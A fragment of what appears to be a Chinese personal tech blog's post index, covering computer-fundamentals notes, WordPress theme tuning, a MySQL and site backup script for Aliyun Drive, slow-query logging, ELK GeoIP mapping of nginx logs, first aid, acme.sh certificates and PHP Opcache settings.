正常情况下,最高位为0在需要奇偶校验时,这一位可用于存放奇偶校验的值,此时称这一位为校验位 汉字编码 汉字交换码:又称国标码汉字编码的国家标准,代号为GB2312-80(80为1980年颁布的) 1一个汉字占两个字节,最高位均为0 GBK:国标扩展码 汉字机内码:汉字被计算机系统内部处理和存储而是用的编码,一个国标码占两个字节,一个汉字占两个字节 1234一个汉字的机内码两个字节的最高位均为1机内码=是将国标码的最高位0变成1,其他位不变00101101 0100101110101101 11001011 汉字区位码(唯一无重码的输入码):为了方便查询和使用.把国标码排列在一张94行(区)94列(位)的二维表中 1区位码+2020H--->国标码+8080H--->机内码(十六进制) 如果机内码反求区位码,切记,一定要转换为十进制 123456789区位码:最早的汉字编码,解决汉字的编排问题区码为行(01-94),位码位列(01-94)高位为区码,低位为位码例"啊"高位就是16,低位是01区位码转换成十六进制区位码1601(4位十进制数组成一个区位码)16D=10H01D=01H=1001H(区位码) 汉字字形码又称汉字字模,用于在显示屏显示或打印机输出,表示方式:点阵和矢量 1存储空间字节数的计算方法:行点数*列点数/8 计算机系统 计算机工作原理 指令是指示计算机执行某种操作的命令,他由一串二进制数码组成,这串二进制数码包括操作码和地址码,所有指令的集合称为计算机指令系统 “存储程序”原理 “存储程序”原理又称冯·诺伊曼原理,其基本思想是存储程序与程序控制 计算机硬件系统 硬件指的是计算机系统中由电子、机械和光电元件等组成的各种计算机部件和计算机设备 裸机:未配置任何软件的计算机 主机是由内存储器和CPU构成的 中央处理器(CPU) 控制器和运算器合称为中央处理器(CPU),时间:1971年.他是计算机的核心部件(硬件),有了CPU后才有了微机 运算器由算术逻辑单元(ALU)和寄存器等组成,主要对二进制进行算术运算和逻辑运算 控制器是整个计算机系统的控制中心 内存储器简称内存又称主存储器内存是CPU可直接访问的存储器 只读存储器(ROM)常用于存放固定>的程序和数据,并且断电后仍能长期保存,一般存放系统的基本输入输出系统(BIOS) 随机存储器(RAM)CPU可以从RAM中既可读出信息又可写入信息,但断电后所存的信息就会丢失,微机中的内存一般指随机存储器(RAM) 静态随机存储器(SRAM),状态稳定,速度快,不需要刷新,不断电不会丢失数据(适合用作Cache的存储器芯片) 动态随机存储器(DRAM),数据易丢失需定时刷新 同步动态随机存储器(SDRAM) 高速缓冲存储器(Cache)断电消失是介于CPU和内存之间的一种可高速存取信息的芯片,是CPU和RAM之间的桥梁,用于解决他们之间的速度冲突问题 互补金属氧化物半导体(CMOS)集成在PCH芯片内部的RAM中,掉电丢失数据,用于保存BIOS的配置信息CMOS与BIOS的区别:CMOS RAM是系统参数存放的地方,BIOS中系统程序设置程序是完成参数设置的方式(手段) 基本输入输出系统(BIOS)是一组固化到计算机内主板上一个ROM芯片上的程序,它保存着计算机最重要的基本输入输出的程序、开机后自检程序和系统自启动程序,它可从CMOS中读写系统设置的具体信息. 内存是CPU可直接访问的存储器 微处理器包括若干个寄存器,寄存器可用来暂存指令、数据和地址 存储器分类 外存储器简称外存又称辅助存储器 外存不能和CPU直接交换数据 CD-RW:可重复录写光盘 CD-R:一次写入永久读 CD-ROW:只读 软盘,磁性物质,容量1.44MB,写保护只读不写 输入输出设备 外存和输入输出设备构成了计算机的外部设备(外设) 计算机软件系统 计算机是通过执行程序所规定的各种指令来处理数据的 软件是指使计算机运行所需的程序、数据和有关文档的总和 程序:解决某一具体问题的指令序列 系统软件是管理、监控和维护计算机资源(包括硬件和软件)、开发应用软件的软件 操作系统 语言处理程序 系统支撑和服务程序 数据库管理系统 应用软件是为了解决计算机各类应用问题而编写的软件 程序设计语言机器语言与汇编语言统称为低级语言 第一代:机器语言,是机器唯一能够直接执行的语言 第二代:汇编语言,采用一定的助记符来代替机器语言中的指令和数据 第三代:高级语言 常见的高级程序设计语言:FORTRAIN,BASIC,PASCAL,C,C#,JAVA,Python 编译:将高级语言所编写的源程序翻译成等价的用机器语言表示的目标程序 解释:解释程序对源程序是一边翻译、一边执行,不产生目标程序 算法 算法是指解题方案的准确而完整的描述,是一系列解决问题的清晰指令,算法代表着用系统的方法描述解决问题的策略机制.也就是说,能够对一定规范的输入,在有限的时间内获得所要求的输出.如果一个算法有缺陷,或不适合与某个问题,执行这个算法将不会解决这个问题.不同的算法可能用不同的世界、空间或效率来完成同样的任务.一个算法的优劣可以利用空间复杂度和时间复杂度来衡量 五大特性 输入:在算法中可以有零个或者多个输入 输出:在算法中至少有一个或者多个输出 有穷行:在执行有限的步骤之后,自动结束不会出现无限循环并且每一个步骤在可接受的时间内完成 确定性:算法的每一个步骤都具有确定的含义,不会出现二义性 可行性:算法的每一步都必须是可行的,也就是说,每一步都能够通过执行有限的次数完成 指令 算法中的指令描述的是一个计算,当其运行时能从一个初始状态和(可能为空的)初始输入开始,经过一系列有限而清晰定义的状态,最终产生输出并停止于一个状态.一个状态到另一个状态的转移不一定是确定的.随机化算法在内的一些算法,包含了一些随机输入 数据结构 线性结构/线性表—>两种特殊的线性表 堆栈/栈:FILO(先进后出) 队列:FIFO(先进先出) 树/层次 物理数据结构 顺序结构 链接结构 微型计算机 微型计算机的主要性能指标 主频即时钟频率,是指计算机CPU在单位时间内发出的脉冲数,单位是赫兹(Hz)字长越长主频越高速度越快 字:CPU一次存取加工和传送的数据称为一个字 字长是指计算机的运算部件能同时处理的二进制数据的位数,字长越长,计算精度越高 内核数指CPU内执行指令的运算器和控制器的数量,多核是多个运算器 内存容量是指内存储器中能存储信息的总字节数 运算速度其单位由MIPS(每秒10的6次方条指令百万级别)和BIPS(每秒10的9次方条指令十亿级别)存取周期越短速度越快 总线(BUS)是计算机各功能部件之间传送信息的公共通信干线 数据总线:传输数据,数据总线的宽度决定了字长 地址总线:数据地址,地址总线决定了可寻址的内存容量,一根地址线代表一个位(bit)几位宽度的地址总线可寻址的范围是2的n次方地址单元 通用串行总线(USB总线)连接简单快捷、热插拔、成本低、速度快、外设供电、设备数量多(串口理论可以连接127个设备) 新一代信息技术 云计算 概念:一种按照使用量付费的模式,这种模式提供可用的、便捷的、按需的网络访问,进入可配置的计算资源共享池(资源包括网络,服务器,存储,应用软件,服务等),这些资源能够给被快速提供,只需要投入很少的管理工作,或与服务供应商进行很少的交互 特点 按需服务 极其廉价 规模大 虚拟化 可靠性高 通用性强 可伸缩性(可扩展性) 服务模式 基础架构即服务(IaaS)将云计算机的内存、I/O设备、存储、计算能力整合成一个虚拟的资源池,为用户提供所需的存储资源和虚拟化服务器等服务例如:云存储,云主机,云服务器,位于云计算服务的最底端 平台即服务(Paas)将软件研发的平台作为一种服务,例如:云数据库,位于云计算服务的中间 软件即服务(SaaS)指通过互联网就直接能够使用软件应用,不需要本地安装例如:阿里云的短信服务,邮件推送,是最常见的云计算服务,位于云计算服务的顶端 部署模型 公有云:对公众开放的云服务,目前最为主流和受欢迎的云计算部署模式. 私有云:组织结构建设的仅供自己使用的云平台,不对公众提供服务. 混合云:由私有云和公有云混合组成,使用混合云计算模式,机构可以在公有云上运行非核心的应用程序,在私有云上支持其核心程序以及内部敏感数据. 关键技术 数据中心相关技术:数据中心相当于云计算的大脑.在这个系统中占有核心地位,其稳定运转对整个系统的意义不言而喻. 虚拟化技术:虚拟化技术具有资源分享、定制以及细粒度资源管理的特点虚拟机快速部署技术和虚拟化在线迁移技术是它的两项关键技术. 海量数据存储与处理技术:海量数裾的存储和处理是云计算的关键能力,需要考虑系统的I/O性能等技术参数. 资源管理与调度技术:云计算平台有庞大的数据交互、海量的数据存储和处理.这给平台的资源管理和调度带来了巨大的挑战. 服务质量保证机制:确保服务的高可靠. 安全与隐私保护技术:用户将数据存在在云计算平台上,如何保证用户数据的安全隔离,保证用户敏感数据的安全性是云计算需要考虑的问题. 大数据 概念:一种规模大到,在获取、存储、管理、分析等方面,都远远超出了传统数据库软件等工具的能力范围的数据集合,具有海量的数据规模、快速的数据流转,多样的数据类型和价值密度低等四大特征. 大数据的特征可以用4个V来总结 数据量巨大(Volume) 数据类型繁多(Variety) 处理速度快(Velocity) 价值密度低(Value) 大数据处理技术基础 大数据是技术的合集 数据产生技术 数据获取与存储技术 数据处理技术 数据呈现技术 数据处理的思维和方法的特点 不是抽样统计,而是面向全体样本 允许不精确和混杂性 不是因果关系,而是相互关系 大数据计算模式 批处理计算:针对大规模数据的批量处理 流计算:针对流数据的实时计算 图计算:针对大规模图结构数据处理 查询分析计算:大规模数据的存储管理和查询分析 物联网 物物相连的互联网,即物联网 物联网的关键技术 RFID技术 传感技术 嵌入式技术 位置服务技术 IPv6技术 物联网四大支撑技术 RFID 传感网 M2M:基于移动端的移动互联网模式 两化融合 物联网典型体系架构 感知层 网络层 应用层 物联网的应用 智能家居 智能交通 智能医疗 智能物流等 人工智能 它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学 人工智能应用领域 智能机器人 模式识别系统 染色体识别 图形识别 图像识别 语音识别 机器人视觉识别 自然语言处理程序 智能检索系统 区块链 区块链是分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式 区块链是一种按照时间顺序将数据区块以顺序相连的方式组合成的一种链式结构 基础技术 哈希运算(hash)(sha-256单向加密) 数字签名 P2P网络 共识算法 智能合约 特性 透明可信 防篡改可追溯 去信任 系统高可靠 去中心化 匿名性 开放共识 分类 共有链 私有链 联盟链 应用领域 数字金融 物流 数字版权 数字货币 虚拟现实 虚拟现实( Virtual Reality,简称VR)又称作虚拟环境,是一种利用计算机模拟产生的一个虚拟的三维世界,为用户提供关于视觉、触觉、嗅觉等感官的模拟,使用户可以即时地感知虚拟世界并与之交互. 特征 沉浸式 交互式 构想性 多感知性 关键技术 环境建模技术 立体声合成和立体显示技术 触觉反馈技术 交互技术 典型应用 教育应用 工程设计领域 医学领域 影视娱乐 军事领域 商业领域 其他相关技术 增强现实","tags":["计算机基础"]},{"title":"CorePress主题优化","path":"/2021/09/26/1b012da8/","content":"总字符数: 2.55K 代码: 1.98K, 文本: 0.21K 预计阅读时间: 10 分钟 CorePress主题优化概述优化内容: 加入了font-display: swap;属性,可确保在加载Web字体时用户可见文本. 压缩了CSS文件 利用Nginx可对js以及字体文件进行本地缓存 Webfonts字体优化123456# 下载fonts文件到主题目录下wget -P /wp-content/themes/CorePress/static https://github.com/JiangJiYue/yunwei/blob/main/webfonts.tar.gz# 解压tar -zxvf /wp-content/themes/CorePress/static/webfonts.tar.gz# 删除压缩包rm -rf /wp-content/themes/CorePress/static/webfonts.tar.gz Css文件优化12# 下载css文件到主题目录下wget -P /wp-content/themes/CorePress/static/css/ https://raw.githubusercontent.com/JiangJiYue/yunwei/main/all.min.css Utils php文件优化替换utils.php中loadiconfont_by_cdn函数内容vim /wp-content/themes/CorePress/geekframe/utils.php 1234function loadiconfont_by_cdn(){ echo '<link rel="stylesheet" href="/wp-content/themes/CorePress/static/css/all.min.css?v=' . THEME_VERSIONNAME . '">';} 优化Header php文件如果不想用主题提供的字体也可以将header.php文件中的以下内容注释掉vim /wp-content/themes/CorePress/header.php 12345678910if ($set['theme']['font'] != 'no') { echo '<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/ghboke/corepresscdn@master/static/lib/font/' . $set['theme']['font'] . '/font.css">'; ?> <style> html, textarea { font-family: <?php echo $set['theme']['font']?>, PingFang\\ SC, Hiragino\\ Sans\\ GB, Microsoft\\ YaHei, STHeiti, WenQuanYi\\ Micro\\ Hei, Helvetica, Arial, sans-serif !important; } </style> <?php} 优化Nginx Conf文件1234567891011121314#缓存静态文件 location ~ .*\\.(gif|jpg|jpeg|png|bmp|ico|webp)$ { root 网站根目录; expires 30d;} #缓存静态文件location ~ .*\\.(eot|woff|woff2|ttf)$ { root 网站根目录; expires 30d;}# expires 30s; 30秒# expires 30m; 30分钟# expires 2h; 2个小时# expires 30d; 30天 优化主页缩略图alt给/wp-content/themes/CorePress/component/post-list-item.php中的$imgtag变量添加alt属性,alt内容为当前文章的标题 1234567# 修改后的代码if ($set['module']['imglazyload'] == 1) { $pathname = 'data-original'; $imgtag = '<img src="' . file_get_img_url('loading.gif') . '" data-original="' . $postitem['thumbnail'] . '" alt="'.$postitem['title'] .'">';} else { $imgtag = '<img src="' . $postitem['thumbnail'] . '"alt="'.$postitem['title'] .'">';} 优化友情链接无ul/wp-content/themes/CorePress/index.php 12345<div class="frinds-links-list"> <ul> <?php wp_list_bookmarks('title_li=&categorize=0&show_images=0&category=' . $set['index']['links_ids']); ?> </ul></div> wp-content/themes/CorePress/static/css/main.css 12/*文件中的.frinds-links li Css样式替换为下面 */.frinds-links li{float: left;font-size:15px;list-style:none;margin-right:20px;margin-bottom:6px;vertical-align:middle}","tags":["优化"],"categories":["生活记录","杂项"]},{"title":"Linux-定时备份网站数据文件到阿里云盘","path":"/2021/09/25/29286f5a/","content":"总字符数: 4.02K 代码: 2.46K, 文本: 0.56K 预计阅读时间: 13 分钟 Aliyunpan介绍 仿Linux shell文件处理命令的阿里云盘命令行客户 支持以下特色功能: 多平台支持,支持Windows,macOS,linux(x86/x64/arm)等 阿里云盘多用户支持 支持文件网盘,相册网盘无缝切换 支持导入/导出功能,快速备份(导出)和恢复(导入)网盘的文件 下载网盘内文件,支持多个文件或目录下载,支持断点续传和单文件并行下载 上传本地文件,支持多个文件或目录上传,支持排除指定文件夹/文件(正则表达式)功能 备份本地文件,支持备份本地文件夹到网盘中,保持本地文件和网盘文件同步.常用于嵌入式或者NAS等设备. 12345678910111213### 以下有部分操作图片中没有,按照教程来就可以# 进入opt目录cd /opt# 下载安装包wget https://download.fastgit.org/tickstep/aliyunpan/releases/download/v0.0.2/aliyunpan-v0.0.2-linux-amd64.zip# 解压unzip aliyunpan-v0.0.2-linux-amd64.zip# 重命名文件夹mv aliyunpan-v0.0.2-linux-amd64/ aliyunpan/# 进入aliyunpan目录cd aliyunpan/# 运行aliyunpan./aliyunpan aliyunpan. 登录首先,必须先登录.目前支持使用RefreshToken进行登录,RefreshToken可以参考以下步骤获取,以Chrome浏览器为例,其他浏览器类似.打开阿里云盘网页并进行登录,然后F12按键打开浏览器调试菜单,选择应用,在左边选择本地存储,找到token refresh_token 使用login -RefreshToken=你的RefreshToken值登录 aliyunpan_login. 之后输入exit退出 aliyunpan_exit. 编写脚本1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556# 新建shell文件vim /opt/backup.sh#!/bin/bash# -------------------------------------------------------------------------------# FileName: backup.sh# Describe: 用于备份网站相关数据# Revision: 终极版# Date: 2021/09/26# Author: 江霁月的私人小屋# 设置mysql的登录用户名和密码(根据实际情况填写)WEB_PATH=/home/wordpress-1258894728.cos.ap-beijing.myqcloud.com #网站根目录ALIYUNPAN_PATH=/backup #阿里网盘内的文件夹路径MYSQL_USER="root" #数据库用户MYAQL_PASSWORD="" #数据库密码MYSQL_HOST="localhost" #数据库IP(本地)MYSQL_PORT="3306" #数据库端口BACKUP_DIR=/opt/wordpress/backup #备份到哪个目录DATE=`date +%Y%m%d%H%M` #时间#14天前的时间ALI_DATE=`date +%Y%m%d%H%M -d '-14 day'`#删除云端数据(14天以前的数据)MYSQL_ALI="mysql_backup_$ALI_DATE.sql"WEB_ALI="WEB_$ALI_DATE.tar.gz"/opt/aliyunpan/aliyunpan rm $ALIYUNPAN_PATH/$MYSQL_ALI $ALIYUNPAN_PATH/$WEB_ALI# 删除本地备份数据(删除7天以前的备份数据)echo "正在删除7天以前的本地备份数据!!!"find $BACKUP_DIR -mtime +7 -type f -name '*.sql' -exec rm -rf {} \\;find $BACKUP_DIR -mtime +7 -type f -name '*.tar.gz' -exec rm -rf {} \\;# 备份全部数据库mysqldump -h$MYSQL_HOST -u$MYSQL_USER -p$MYAQL_PASSWORD -P$MYSQL_PORT --all-databases >$BACKUP_DIR/mysql_backup_$DATE.sqlif [ $? -eq 0 ]; then echo "备份成功,时间:" $(date +"%Y-%m-%d %H:%M:%S") #备份html文件 tar zcPf $BACKUP_DIR/WEB_${DATE}.tar.gz $WEB_PATH if [ $? -eq 0 ]; then echo "备份网站根目录成功,路径:$BACKUP_DIR/WEB_${DATE}.tar.gz" if [ $? -eq 0 ]; then # 调用aliyunpan上传备份的文件 /opt/aliyunpan/aliyunpan upload $BACKUP_DIR/mysql_backup_$DATE.sql $BACKUP_DIR/WEB_${DATE}.tar.gz $ALIYUNPAN_PATH else echo "上传文件出错,请检查日志!!!" fi else echo "备份网站根目录出错,请检查日志!!!" fielse echo "备份数据库出错,请检查日志!!!"fi# 修改backup.sh文件权限chmod 755 /opt/backup.sh Crontab123vim /etc/crontab#每天早上2点执行数据库和html备份脚本0 2 * * * root /opt/backup.sh > /opt/backup.log 2>&1 & aliyunpan_upload. 查看阿里网盘上传是否成功. 文件名对不上是因为这个脚本被我改版过很多次,图片截图时间也不一样略过就好 aliyunpan_content. 下载阿里网盘文件/目录12345# aliyunpan download <网盘文件或目录的路径1> <文件或目录2> <文件或目录3> ...# 将阿里云盘中2021-09-25 08:22的WEB和数据库文件下载到本地/opt/aliyunpan/aliyunpan download /backup/WEB_202109250813.tar.gz /backup/mysql_backup_202109250813.sql# 下面这个和上面一样不过命令简短# aliyunpan d <网盘文件或目录的路径1> <文件或目录2> <文件或目录3> ... 下载路径请看输出信息!!! aliyunpan_download_file.","tags":["Centos","运维","Mysql","数据库","Shell"],"categories":["安全运维","Linux"]},{"title":"Linux-MySQL开启慢查询日志","path":"/2021/09/24/bee72ce8/","content":"总字符数: 2.22K 代码: 1.43K, 文本: 0.48K 预计阅读时间: 8 分钟 前言MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值(long_query_time,单位:秒)的SQL语句.默认情况下,MySQL不启动慢查询日志.本文简单介绍如何开启慢查询日志,如何用mysqldumpslow分析慢查询. 参数说明12345slow_query_log #慢查询开启状态,ON开启,OFF关闭slow_query_log_file #慢查询日志存放的位置(这个目录需要MySQL的运行帐号的可写权限,一般设置为MySQL的数据存放目录)long_query_time #查询超过多少秒才记录 默认10s ,查询命令 SHOW VARIABLES LIKE 'long_query_time';log_queries_not_using_indexes = 1 #表明记录没有使用索引的 SQL 语句# 重点说明:开启慢日志版本要高,低版本无法支持,本次版本是:5.5.68-MariaDB mdb_version 配置开启慢查询编辑MySQL配置文件my.cnf如果不知道my.cnf文件在哪可以用find命令查找:find / -name my.cnf 在[mysqld]字段下加入: 1234long_query_time=1 #表示记录查询超过1s的sqlslow_launch_time=1 #表示如果建立线程花费了比这个值更长的时间,slow_launch_threads 计数器将增加slow_query_log=ON #开启慢查询日志slow_query_log_file=/var/lib/mysql/slow_queries.log #慢查询日志记录文件 注意:慢查询的日志记录文件对于mysql用户必须可写!!! 12345678MariaDB [(none)]> show variables like 'slow_query%';+---------------------+------------------------+ Variable_name Value +---------------------+------------------------+ slow_query_log OFF slow_query_log_file VM-8-7-centos-slow.log +---------------------+------------------------+2 rows in set (0.01 sec) 测试1234567MariaDB [(none)]> select sleep(2);+----------+ sleep(2) +----------+ 0 +----------+1 row in set (2.00 sec) 123456789[root@VM-8-7-centos ~]# cat /var/lib/mysql/slow_queries.log/usr/sbin/mysqld, Version: 5.7.34-log (MySQL Community Server (GPL)). started with:Tcp port: 0 Unix socket: /var/lib/mysql/mysql.sockTime Id Command Argument# Time: 2021-08-20T10:01:18.841053Z# User@Host: root[root] @ localhost [] Id: 3# Query_time: 2.023306 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0SET timestamp=1629453678;select sleep(2); 删除慢查询日志慢查询日志的删除方法与通用日志的删除方法是一样的.可以使用mysqladmin命令来删除.也可以使用手工方式来删除.mysqladmin 命令的语法如下mysqladmin -uroot -p flush-logs 执行该命令后,命令行会提示输入密码.输入正确密码后,将执行删除操作.新的慢查询日志会直接覆盖旧的查询日志,不需要再手动删除. 数据库管理员也可以手工删除慢查询日志,删除之后需要重新启动MySQL服务. 通用查询日志和慢查询日志都是使用这个命令,使用时一定要注意,一旦执行这个命令,通用查询日志和慢查询日志都只存在新的日志文件中.如果需要备份旧的慢查询日志文件,必须先将旧的日志改名,然后重启MySQL服务或执行mysqladmin命令","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"ELK收集nginx日志并展示来源IP地图","path":"/2021/09/19/2dd5e334/","content":"总字符数: 4.91K 代码: 3.39K, 文本: 0.33K 预计阅读时间: 16 分钟 修改Nginx配置文件1234567891011121314151617181920# 修改日志模式 # json 为规则名字 escape=json 设置日志文件格式为json log_format json escape=json '{"@timestamp":"$time_iso8601",' '"domain":"$host",' '"host":"$server_addr",' '"clientip":"$remote_addr",' '"remote_user":"$remote_user",' '"request":"$request",' '"request_method":"$request_method",' '"uri":"$uri",' '"request_time":"$request_time",' '"status":"$status",' '"http_referrer":"$http_referer",' '"body_bytes_sent":"$body_bytes_sent",' '"xff":"$http_x_forwarded_for",' '"http_user_agent":"$http_user_agent",' '"upstream_addr":"$upstream_addr",' '"upstream_response_time":"$upstream_response_time"}'; # 将上方的规则名称写到最后 access_log /var/log/nginx/access.log json; 添加高德地图1.编辑kibana配置文件kibana.yml,最后面添加 12# 默认情况下kibana使用"Elastic Maps Service"显示地图模块,要使用其他服务提供商的模块可以通过修改"map.tilemap.url"实现,下面是修改为高德地图 map.tilemap.url: 'http://webrd02.is.autonavi.com/appmaptile?lang=zh_cn&size=1&scale=1&style=7&x={x}&y={y}&z={z}' 配置logstash 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061# 进入工作目录cd /opt# 下载GeoLite2数据库wget https://raw.githubusercontent.com/texnikru/GeoLite2-Database/master/GeoLite2-City.mmdb.gz# 解压文件gunzip GeoLite2-City.mmdb.gz# 将GeoLite2移动到logstash目录下mv GeoLite2-City.mmdb /usr/local/elk/logstash/config/# 修改logstash配置文件vim /usr/local/elk/logstash/default.conf# 监听5044端口作为输入input { beats { port => "5044" }}# 数据过滤filter { json { source => "message" remove_field => [ "message" ] #删除重复的message收集. } mutate { split => { "request" => " " } } mutate { add_field => { "httpversion" => "%{[request][2]}" } } mutate { #这里应该是选取xff,这里没有可以删掉, split => { "xff" => "," } } mutate { add_field => { "realip" => "%{[xff][0]}" } } geoip { source => "clientip" target => "geoip" #填写自己的GeoLite2数据库目录 database => "/usr/local/elk/logstash/config/GeoLite2-City.mmdb" #获取经纬度 add_field => ["[geoip][coordinates]","%{[geoip][longitude]}"] add_field => ["[geoip][coordinates]","%{[geoip][latitude]}"] } mutate { convert => [ "[geoip][coordinates]", "float" ] }}# 这是ElasticSerach服务的监听端口output { elasticsearch { hosts => ["192.168.10.129:9200"] index => "nginx-%{+YYYY.MM.dd}" #根据项目名称动态创建索引 }} geoipgeoip 是 object 类型,它有几个子字段,含义如下: geoip.city_name:城市 geoip.continent_name:大陆名称 geoip.country_iso_code:国家编码 geoip.location:经纬度坐标,必须是:geo_point 类型 geoip.region_iso_code:地域编码 geoip.region_name:地域名称 扩展程序是谷歌的 https://chrome.google.com/webstore/detail/elasticsearch-head/ffmkiejjmecolpfloofpjologoblkegm?utm_source=chrome-ntp-iconhttps://chrome.google.com/webstore/detail/elasticsearch-head/ffmkiejjmecolpfloofpjologoblkegm?utm_source=chrome-ntp-icon 12345678910111213141516171819202122232425262728293031323334353637383940# 创建一个名为geoip的模板http://192.168.10.129:9200/_template/geoip/# index_patterns:索引名称# ignore_malformed 如果true,格式错误的地理位置被忽略.如果false(默认),格式错误的地理位置引发异常并拒绝整个文档此字段需要配置成true,以防地理格式错误导致文档被拒绝{ "index_patterns": [ "nginx*" ], "order": 10, "mappings": { "properties": { "clientip": { "type": "ip" }, "geoip": { "dynamic": true, "type": "object", "properties": { "location": { "type": "geo_point", "ignore_malformed": "true" }, "coordinates": { "type": "geo_point", "ignore_malformed": "true" }, "ip": { "type": "ip" } } } } }, "aliases": { "nginx": {} }} 以下就代表模板创建成功 Kibana加载地图","tags":["应急响应","日志分析","ELK","数据可视化"],"categories":["应急响应","日志分析"]},{"title":"救护概论","path":"/2021/09/13/a68cee5c/","content":"总字符数: 1.62K 代码: 无, 文本: 1.28K 预计阅读时间: 6 分钟 现场救护定义 最初的治疗和救护 在医务人员到来之前 现场救护目的 保存生命 防止情况恶化 减少进一步的损害或伤害 改善预后 促进恢复 骨折的基本原则 不要轻易去搬动病人 如果被物体压住了,遵守第一目的,保存生命,快速将人员拖出来或将物体移走 如果没有二次损伤的情况遵守第二目的,防止情况恶化 现场救护原则 环境安全或者自身安全 防止交叉感染,有效地收集伤病员的污染物 及时合理的救护,先救命后治伤 心理支持,有效的沟通安抚 认真倾听伤病员的诉说,不随意的打断,可以点头或者是简单的应答表示在听 用文稳重的语气与伤病员说话,让伤病员能够听到,但不要喊叫 伤病员由于受到惊吓,可能会拒绝他人的靠近,救护者可以先和伤病员保持一定的距离,等得到异允许之后再靠近 呼叫救护者之后要守护和安慰伤病员,直到救护车的到来 救护的时候要告诉伤病员采取的措施,让伤病员放心 情况允许时,可帮助伤病员与自己的亲友联系,请他们来协助救护 集体协作 拨打急救电话 取来急救设备.如自动体外除颤器 维护现场安全.如放置安全指示牌,疏散旁观者 帮助控制出血.如压迫止血,固定伤肢等 保管伤病员的财物 如有确实的必要协助转运伤病员到安全的地点.现场其他人可能没有接受过急救的培训,会害怕或者是不知道能做些什么在请求他人帮助和指挥他人时,语气要稳重,指令要简短而明确,以使它们能够镇定并准确的执行指令 事故现场是否存在危险因素 交通事故当中受损的汽车是否有起火爆炸或者是再次倾覆的危险 是否有脱落的高压电线或者是其他带电的物体 是否有化学物质,腐蚀性物质,放射性物质等 是否发生自然灾害的可能.比如说洪水,泥石流,海啸,雷电等 地面是否湿滑,是否有磕绊的杂物或者是锐利的金属和玻璃等 地震后的建筑物是否牢固,有无倒塌的危险 其他危险因素,比如说环境是否酷暑,严寒,有无毒蛇,野蜂等 防护措施 关掉受损汽车的开关,防止起火爆炸.同时拉起手刹,防止汽车滑动 抢救触电者时,设法切断电源 穿戴防护装备 在室外遇到雷雨天气时,避开高压线,大树,不要使用手机 在极端的环境中要注意防暑或者是降温 如果遇到不能够排除的危险,要立即呼救争取救援 现场救护流程 评估环境 自我保护 检查患者的基本反应 迅速拨打电话进行求助 通过横纵坐标和明显标识物明确位置 明确说明发生事故的情况 伤病人数和基本伤情 清楚告知呼救者电话 不要主动挂电话 无意识: 打开呼吸道 头后仰 抬下颌 检查呼吸:时间约10秒 有呼吸的话,检查循环 脉搏 一般情况下检查颈动脉 有没有严重的大出血情况 从头到脚由内而外的详细检查 应急救护的程序D-R-A-B-C-D-E 评估环境(Danger) 检查反应(Response) 检查气道(Airway) 检查呼吸(Breathing) 检查循环(Circulation) 检查清醒程度(Disability) 详细检查伤情(Exposure) 现场救护注意事项 对患者进行救助是要充满自信 对伤病员要做到一视同仁 注意对伤病员财物的保护 做好对急救人员的心理建设 从技能和知识上丰富自己 自我保护 对安全的预知 三大精神 人道 博爱 奉献","categories":["生活记录","杂项"]},{"title":"Linux-利用acme为阿里云dns域名颁发泛域名证书","path":"/2021/09/11/c592c859/","content":"总字符数: 0.93K 代码: 0.36K, 文本: 0.20K 预计阅读时间: 2 分钟 克隆acme 1git clone https://hub.fastgit.org/acmesh-official/acme.sh.git 使用阿里云域API自动签发证书首先,您需要登录您的阿里云帐户以获取您的 API 密钥. https://ram.console.aliyun.com/manage/akhttps://ram.console.aliyun.com/manage/ak 12export Ali_Key="sdfsdfsdfljlbjkljlkjsdfoiwje"export Ali_Secret="jlsdflanljkljlfdsaklkjflsa" 好的,让我们现在颁发证书: 12acme.sh --set-default-ca --server letsencrypt --issue -d example.com -d *.example.com -d www.example.com --dns dns_ali --reloadcmd "nginx -s reload"#--reloadcmd 是重启Apache/Nginx的命令请根据自身的命令修改 阿里云的Ali_Key和Ali_Secret将被保存~/.acme.sh/account.conf,需要时会被重用. 如图所示已经颁发成功了,绿色的是代表你的证书和私钥的存放位置,一般3个月会自动更新一次,如果网站还是没有ssl的话请检查Nginx/Apache的配置文件或手动重启","tags":["优化","SSL","安全加固"],"categories":["安全加固"]},{"title":"Linux-Opcache参数配置优化加速网站访问","path":"/2021/09/09/84bc0e75/","content":"总字符数: 4.70K 代码: 1.07K, 文本: 2.02K 预计阅读时间: 13 分钟 如果想要网站响应速度快,肯定少不了进行网站优化,比如开启各种缓存,像Memcached缓存,Opcache缓存等等.这里记录一下Opcache设置教程. 什么是Opcache呢?Opcache 的前生是 Optimizer+ ,它是PHP的官方公司 Zend 开发的一款闭源但可以免费使用的 PHP 优化加速组件. Optimizer+ 将PHP代码预编译生成的脚本文件 Opcode 缓存在共享内存中供以后反复使用,从而避免了从磁盘读取代码再次编译的时间消耗.同时,它还应用了一些代码优化模式,使得代码执行更快.从而加速PHP的执行. PHP的正常执行流程如下 request请求(nginx,apache,cli等)–>Zend引擎读取.php文件–>扫描其词典和表达式 –>解析文件–>创建要执行的计算机代码(称为Opcode)–>最后执行Opcode–> response 返回 每一次请求PHP脚本都会执行一遍以上步骤,如果PHP源代码没有变化,那么Opcode也不会变化,显然没有必要每次都重新生成Opcode,结合在Web中无所不在的缓存机制,我们可以把Opcode缓存下来,以后直接访问缓存的Opcode岂不是更快,启用Opcode缓存之后的流程图如下所示: Opcode cache 的目地是避免重复编译,减少 CPU 和内存开销. 下面介绍Opcache的安装12341、找到opcache的扩展,我的是php7.4yum list php74*2、安装扩展yum install php74-php-opcache.x86_64 -y PHP配置文件12[root@centos opt]# find / -name php.ini #查找php.ini文件位置 /etc/opt/remi/php74/php.ini 编辑配置文件,找到[opcache] 加入 1opcache.enable=1 此参数的值为 1 代表开启 Opcache,值为 0 代表关闭 Opcache,默认值为 1. 1opcache.memory_consumption=512 此参数的值代表 Opcache 占用内存的大小,单位是 MB,默认值为 64.建议根据服务器内存情况来设置 1opcache.interned_strings_buffer=64 此参数的值的单位是 MB,默认值为 